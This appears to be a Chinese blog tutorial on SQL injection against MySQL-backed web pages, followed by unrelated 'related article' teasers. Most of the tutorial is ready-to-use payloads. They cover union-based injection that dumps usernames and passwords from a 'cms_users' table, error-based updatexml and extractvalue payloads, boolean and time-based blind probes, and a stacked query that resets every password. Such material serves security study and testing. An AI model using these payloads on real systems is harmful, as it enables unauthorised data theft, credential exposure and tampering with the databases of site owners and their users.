sql注入的基本手法
目的
通过sqk注入获取数据内容
掌握sql注入基本手法
我们这里使用
1.联合注入
就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询
条件
两条select语句查询结果具有相同列数
对应列数数据类型相同
简单的步骤
1.目标分析
?id=32
?id=33
这一步看看有没有页面变化 其实就是mysql数据库执行 如果有
第一步
查看列数
?id=32 order by 1
一致改变数字 直到页面一篇空白 没有内容
判断出来一共有多少列
如果到20就显示空白 那末20-1 就是19 是他的极限
第二步
判断回显位置
把第一条select查询语句变成假的
因为只要前端报错 后面的语句才会执行
?id=-32(假的) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 (这个也是假)
这一步会把 回显的位置爆破出来
第三步
数据库敏感信息
也可以 ?id=-33
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 在回显位置查看数据库名字
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15 查看版本
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15 查看数据库系统变量
?id=32 and 1=2(只为假) union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15 1 2 3 4 函数返回的是当前会话中的用户身份信息
获取管理员和密码 必须报错前面的值
information_schema.tables 自带数据库 (库名字 表名字 列名字 )
数据库名字
?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
表名字
1.查看数据库所有的表 group by
?id=-33 UNION SELECT 1,2,count(*)(统计),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables(mysql的自带数据库) where table_schema=database()(条件是现在的数据库) 这句话的意思
2.查看表的名字 16进制 bp可以解码
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 0,1 16进制查看0列1行
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1 查看1行1列
2.查出所有的表的 它将从当前数据库中的所有表中获取信息
?id=-33 UNION SELECT 1,2,hex(group_concat(table_name))(分组查询),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
记住一定要解码 负责就是16进制 bp或者网站
3.查看列数
?id=-33 UNION SELECT 1,2,hex(group_concat(column_name))(合并列名),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schema=database() and table_name='cms_users’
查看列数 在这个表里 在这个数据库
4.查看账户和密码
id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users 查看表里的账户和密码
一定要解密
报错注入
在注入点判断过程中 发现sql注入的报错语句 显示到页面
在错误信息里执行sql语句
案例
?id=33‘ 数据库报错
?id=33’‘ 数据库
直接使用
第一种方法 group by
查看数据库 页面并且报错
报错页面
前提
?id=33’(闭合字段) 爆数据库的错 并且回显到页面
第一中 updatexml
mysql数据库
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
第二种 extractvalue
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
三.布尔盲注
没有回显 直接猜 效率极低
1. id=2'(闭合) and database()='xxx' --+ 猜数据库名字 页面正常
2.?id=2' and length(database())=8 --+ 猜长度 页面正常
3.猜数据库的字目 ascill值
id=2' and ascii(substr(database(),1,1))=115 --+ 第一个数字
' and ascii(substr(database(),2,1))=101 --+ 第二个数字
四.延时注入
实验sleep的延时性 以时间线做判断条件
?id=2' and if(length(database())>1,sleep(5),1) --+ 看看页面延时 如果数据库名字大于1睡5s
?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+ 如果是第三个列的第一个字符 是不是为c
五.堆叠查询
多条语句执行 真实场景极少
堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句
?id=2';update users set password='123456'--+
相关文章:
sql注入的基本手法
目的 通过sqk注入获取数据内容 掌握sql注入基本手法 我们这里使用 1.联合注入 就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询 条件 两条select语句查询结果具有相同列数 对应列数数据类型相同 简单的步骤 1.目标分析 ?id…...
8.1 C++ 标准输入输出流
C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...
hive往es映射表写数据报错
hive是基于Hadoop的一个数据仓库工具,用来进行数据提取、转化、加载,这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。hive数据仓库工具能将结构化的数据文件映射为一张数据库表,并提供SQL查询功能,能将SQL语句转…...

2023年【广东省安全员A证第四批(主要负责人)】考试试卷及广东省安全员A证第四批(主要负责人)模拟考试
题库来源:安全生产模拟考试一点通公众号小程序 广东省安全员A证第四批(主要负责人)考试试卷根据新广东省安全员A证第四批(主要负责人)考试大纲要求,安全生产模拟考试一点通将广东省安全员A证第四批&#x…...

YOLOv5算法改进(15)— 如何去更换Neck网络(包括代码+添加步骤+网络结构图)
前言:Hello大家好,我是小哥谈。在学习完了如何去更换主干网络之后,接着就让我们通过案例的方式去学习下如何去更换Neck网络。本篇文章的特色就是比较浅显易懂,附加了很多的网络结构图,通过结构图的形式向大家娓娓道来,希望大家学习之后能够有所收获!🌈 前期回顾: YO…...

用Nginx搭建一个具备缓存功能的反向代理服务
在同一台服务器上,使用nginx提供服务,然后使用openresty提供反向代理服务。 参考《Ubuntu 20.04使用源码安装nginx 1.14.0》安装nginx。 参考《用Nginx搭建一个可用的静态资源Web服务器》搭建静态资源Web服务器,但是/nginx/conf/nginx.conf里…...

YOLOv5改进实战 | 更换主干网络Backbone(三)之轻量化模型Shufflenetv2
前言 轻量化网络设计是一种针对移动设备等资源受限环境的深度学习模型设计方法。下面是一些常见的轻量化网络设计方法: 网络剪枝:移除神经网络中冗余的连接和参数,以达到模型压缩和加速的目的。分组卷积:将卷积操作分解为若干个较小的卷积操作,并将它们分别作用于输入的不…...
【Markdown】 Markdown 操作备忘录
To Do List 显示目前todo list 的状态 getLogger() 单例类, 通过引入模块,获取单例日志对象 结果可视化调研 模型结果保存及测试 - [ ] getLogger() 单例类, 通过引入模块,获取单例日志对象 - [ ] 结果可视化调研 - [x] 模型结果…...

【自动化测试】基于Selenium + Python的web自动化框架
一、什么是Selenium? Selenium是一个基于浏览器的自动化工具,她提供了一种跨平台、跨浏览器的端到端的web自动化解决方案。Selenium主要包括三部分:Selenium IDE、Selenium WebDriver 和Selenium Grid: 1、Selenium IDE&…...
zookeeper连接客户端操作数据时报错Socket is not connected
文章目录 一、报错信息二、问题描述三、原因分析:四、解决方案: 一、报错信息 DEBUG org.apache.zookeeper.ClientCnxnSocketNIO - Ignoring exception during shutdown input java.net.SocketException: Socket is not connectedat sun.nio.ch.Net.tra…...

mysql select语句中from 之后跟查询语句
概念:将from后面的查询语句放在FROM的后面,则查询到的结果,就会被当成一个“表”; 这里有一个特别要注意的地方,放在FROM后面的子查询,必须要加别名。 select dui.id,dui.party_service_id mes_id, dui.party_id,dui.…...
Yolov8小目标检测(26):多尺度空洞注意力(MSDA) | 中科院一区顶刊 DilateFormer 2023.9
💡💡💡本文独家改进:多尺度空洞注意力(MSDA)采用多头的设计,在不同的头部使用不同的空洞率执行滑动窗口膨胀注意力(SWDA),全网独家首发,创新力度十足,适合科研 多尺度空洞注意力(MSDA) | 亲测在红外弱小目标检测涨点,map@0.5 从0.755提升至0.784 💡�…...

NLP:从头开始的文本矢量化方法
一、说明 NLP 项目使用文本,但机器学习算法不能使用文本,除非将其转换为数字表示。这种表示通常称为向量,它可以应用于文本的任何合理单位:单个标记、n-gram、句子、段落,甚至整个文档。 在整个语料库的统计 NLP 中&am…...
Kotlin 中 apply、let、also、run的区别
apply apply 函数接收一个目标并回来该目标自身。它答应您在目标上履行一些操作,同时仍然回来原始目标。 fun <T> T.apply(block: T.() -> Unit): TT 是目标的类型,block 是一个 lambda 表达式,能够在该目标上履行一些操作。在这个…...

Android JKS MD5 SHA1 公钥生成 私钥生成 APP备案 内容获取
1 查看 jks keytool -list -v -keystore /Users/lipengfei/Desktop/android/androidproject.jks密钥库类型: jks 密钥库提供方: SUN您的密钥库包含 1 个条目别名: ddgj 创建日期: 2018-11-16 条目类型: PrivateKeyEntry 证书链长度: 1 证书[1]: 所有者: CNcn, OUcn, Ocn, Lcn,…...
常用linux的命令(持续更新)
1.防火墙相关 centos7 防火墙 查状态:systemctl status firewalld.service 关闭:systemctl disable firewalld.service 重启生效 关闭:systemctl stop firewalld.service 马上生效 systemctl stop firewalld 临时关闭防火墙 systemctl disabl…...

《动手学深度学习 Pytorch版》 8.7 通过时间反向传播
8.7.1 循环神经网络的梯度分析 本节主要探讨梯度相关问题,因此对模型及其表达式进行了简化,进行如下表示: h t f ( x t , h t − 1 , w h ) o t g ( h t , w o ) \begin{align} h_t&f(x_t,h_{t-1},w_h)\\ o_t&g(h_t,w_o) \end{ali…...
2023-10-20 游戏开发-cocos旧版本2.0.6-下载地址-记录
官方下载地址: Cocos Creator 下载 - 轻量高效的开发引擎 Tags cocos/cocos-engine GitHub cocos creater 旧版本: Tool/Package/REAMDE.md adofsauron/CocosCreatorFAQ - Gitee.com v2.0.6版本: Mac版:http://cocos2d-x.org/filedown/CocosStudioForMac-v2.0.…...

Python 框架学习 Django篇 (三) 链接数据库
只要你是做后端开发的,那么就离不开各种数据库,Django框架对各种数据库都非常友好,比如常见的PostgreSQL、MySQL、SQLite、Oracle,django都对他们提供了统一调用api,我们这里主要使用mysql数据库作为演示 一、ORM机制 …...
【debug】安装diffusion的bug解决合集
环境问题 ImportError: cannot import name ‘CLIPImageProcessor’ from ‘transformers’ (D:\Python\lib\site-packages\transformers_init_.py) https://github.com/huggingface/transformers/issues/23340 解决:查看更详细信息,安装环境 transfor…...

JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)
前言: 在Java编程中,类的生命周期是指类从被加载到内存中开始,到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期,让读者对此有深刻印象。 目录 …...

搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...

Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...

论文阅读:Matting by Generation
今天介绍一篇关于 matting 抠图的文章,抠图也算是计算机视觉里面非常经典的一个任务了。从早期的经典算法到如今的深度学习算法,已经有很多的工作和这个任务相关。这两年 diffusion 模型很火,大家又开始用 diffusion 模型做各种 CV 任务了&am…...

算法—栈系列
一:删除字符串中的所有相邻重复项 class Solution { public:string removeDuplicates(string s) {stack<char> st;for(int i 0; i < s.size(); i){char target s[i];if(!st.empty() && target st.top())st.pop();elsest.push(s[i]);}string ret…...

职坐标物联网全栈开发全流程解析
物联网全栈开发涵盖从物理设备到上层应用的完整技术链路,其核心流程可归纳为四大模块:感知层数据采集、网络层协议交互、平台层资源管理及应用层功能实现。每个模块的技术选型与实现方式直接影响系统性能与扩展性,例如传感器选型需平衡精度与…...

7种分类数据编码技术详解:从原理到实战
在数据分析和机器学习领域,分类数据(Categorical Data)的处理是一个基础但至关重要的环节。分类数据指的是由有限数量的离散值组成的数据类型,如性别(男/女)、颜色(红/绿/蓝)或产品类…...

设计模式-3 行为型模式
一、观察者模式 1、定义 定义对象之间的一对多的依赖关系,这样当一个对象改变状态时,它的所有依赖项都会自动得到通知和更新。 描述复杂的流程控制 描述多个类或者对象之间怎样互相协作共同完成单个对象都无法单独度完成的任务 它涉及算法与对象间职责…...

Python[数据结构及算法 --- 栈]
一.栈的概念 在 Python 中,栈(Stack)是一种 “ 后进先出(LIFO)”的数据结构,仅允许在栈顶进行插入(push)和删除(pop)操作。 二.栈的抽象数据类型 1.抽象数…...